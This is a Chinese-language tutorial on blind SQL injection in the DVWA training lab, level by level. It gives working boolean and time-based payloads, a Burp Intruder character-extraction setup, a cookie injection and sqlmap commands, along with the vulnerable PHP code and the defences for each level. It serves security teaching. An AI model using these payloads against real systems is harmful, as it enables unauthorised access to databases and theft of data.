DVWA SQL Injection(Blind)漏洞分析与利用
目录
DVWA SQL Injection(Blind)漏洞分析与利用
前言
环境准备
Level: Low
漏洞分析
复现步骤
1. 基于布尔(Boolean-based)的盲注
2. 基于时间(Time-based)的盲注
防御措施
Level: Medium
漏洞分析
复现步骤
1. 布尔盲注技术
2. 使用Burp Intruder自动化测试
防御措施
Level: High
漏洞分析
复现步骤
1. Cookie注入技术
2. 使用SQLmap自动化测试
防御措施
Level: Impossible
安全措施分析
防护要点
测试验证
自动化工具使用指南
1. 使用SQLmap进行盲注
2. Burp Suite专业技巧
总结与防御矩阵
盲注类型对比
全面防御策略
前言
SQL盲注(Blind SQL Injection)是SQL注入的一种特殊形式,当应用程序易受SQL注入攻击但其HTTP响应不包含相关SQL查询结果或错误详情时发生。本文将通过DVWA平台,详细演示从低级到高级的SQL盲注攻击技术。
环境准备
-
DVWA环境:已安装配置好的DVWA
-
测试工具:Burp Suite、浏览器、SQLmap
-
系统环境:Windows
Level: Low
漏洞分析
低级安全级别没有任何防护措施,直接拼接用户输入到SQL查询中,且不显示查询结果,只返回"存在"或"不存在"用户。
$id = $_GET['id']; $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
复现步骤
1. 基于布尔(Boolean-based)的盲注
步骤1:确定注入点
1' AND 1=1# → 显示"User ID exists"
1' AND 1=2# → 显示"User ID is MISSING"
步骤2:确定数据库长度(二分法)
1' AND LENGTH(DATABASE())=4# → 存在说明数据库名长度为4
步骤3:逐字符猜解数据库名
1' AND SUBSTRING(DATABASE(),1,1)='d'# → 首字母为d 1' AND SUBSTRING(DATABASE(),2,1)='v'# → 次字母为v
2. 基于时间(Time-based)的盲注
步骤1:验证时间注入可行性
1' AND SLEEP(5)# → 页面响应延迟5秒
步骤2:时间注入获取数据
1' AND IF(SUBSTRING(DATABASE(),1,1)='d',SLEEP(5),0)#
防御措施
-
使用预处理语句
-
实施严格的输入验证
Level: Medium
漏洞分析
中级使用mysql_real_escape_string()
转义输入,但使用数字型查询且未进行类型检查。
$id = $_POST['id'];
$id = mysql_real_escape_string($id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
复现步骤
1. 布尔盲注技术
步骤1:确定注入类型(无需单引号)
1 AND 1=1 → 存在
1 AND 1=2 → 不存在
步骤2:获取数据库版本信息
1 AND MID(@@version,1,1)=5 → 判断MySQL版本是否为5.x
步骤2:判断数据库长度
1 AND LENGTH(DATABASE())=4 → 判断长度为4 1 AND LENGTH(DATABASE())=5
2. 使用Burp Intruder自动化测试
-
拦截请求发送到Intruder
-
设置攻击类型为"Cluster bomb"
-
设置payload:
-
位置1:数据库名,字符位置(1-4)
-
位置2:ASCII值(1-128)
-
1 AND ASCII(SUBSTRING(DATABASE(),§1§,1))=§2§1 AND ASCII(SUBSTRING(DATABASE(),1,1))=100 -- 'd' // 探测第一个字符
1 AND ASCII(SUBSTRING(DATABASE(),2,1))=118 -- 'v' //探测第二个字符
1 AND ASCII(SUBSTRING(DATABASE(),3,1))= 119 -- 'w' //探测第三个字符
1 AND ASCII(SUBSTRING(DATABASE(),4,1))= 97 -- 'a' //探测第三个字符
可参照以下ASCII表,找到对应的字符
防御措施
-
使用参数化查询
-
强制类型转换:
$id = (int)$_POST['id']
Level: High
漏洞分析
高级别使用单引号包裹输入并转义,但存在Cookie注入点。
$id = $_COOKIE['id']; $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
复现步骤
1. Cookie注入技术
步骤1:修改Cookie值
document.cookie="id=1' AND '1'='1'-- ;
步骤2:基于错误的盲注
1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))abc)# //延时5s
2. 使用SQLmap自动化测试
-
保存Cookie和请求到文件
-
运行:
sqlmap -r request.txt --level=5 --risk=3 --technique=B --dbms=mysql --batch
防御措施
-
过滤Cookie输入
-
使用HttpOnly标志
Level: Impossible
安全措施分析
不可能级别采用了完善的防护措施:
$data = $db->prepare('SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;');
$data->bindParam(':id', $id, PDO::PARAM_INT);
$data->execute();
防护要点
-
使用PDO预处理语句
-
参数绑定
-
强制类型为INT
-
LIMIT 1限制返回结果
测试验证
尝试任何盲注技术都无法成功,输入被严格限制为数字。
自动化工具使用指南
1. 使用SQLmap进行盲注
基本命令:
sqlmap -u "http://target.com/vuln.php?id=1" --technique=BEUST --batch
参数说明:
-
--technique=B
:布尔盲注 -
--technique=T
:时间盲注 -
--dbms=mysql
:指定数据库类型 -
--threads=5
:多线程加速
2. Burp Suite专业技巧
-
使用Turbo Intruder处理大量请求
-
配置Grep Match规则自动标记响应差异
-
利用Logger++扩展记录和分析所有请求
总结与防御矩阵
盲注类型对比
类型 | 检测方法 | 适用场景 | 自动化难度 |
---|---|---|---|
布尔型 | 对比不同逻辑的响应差异 | 有明显真假状态区分 | 中等 |
时间型 | 测量响应时间差异 | 无直接响应差异 | 困难 |
错误型 | 触发条件性错误 | 可显示错误信息 | 简单 |
全面防御策略
-
输入处理:
-
白名单验证
-
类型强制转换
-
参数化查询
-
-
输出处理:
-
统一错误消息
-
限制错误详情
-
-
架构设计:
-
最小权限原则
-
WAF防护
-
定期安全扫描
-
通过DVWA的全级别SQL盲注复现,我们可以看到盲注虽然比普通SQL注入更困难,但在安全措施不足的情况下仍然危险。防御盲注需要结合多种安全措施,从开发阶段就建立安全编码规范。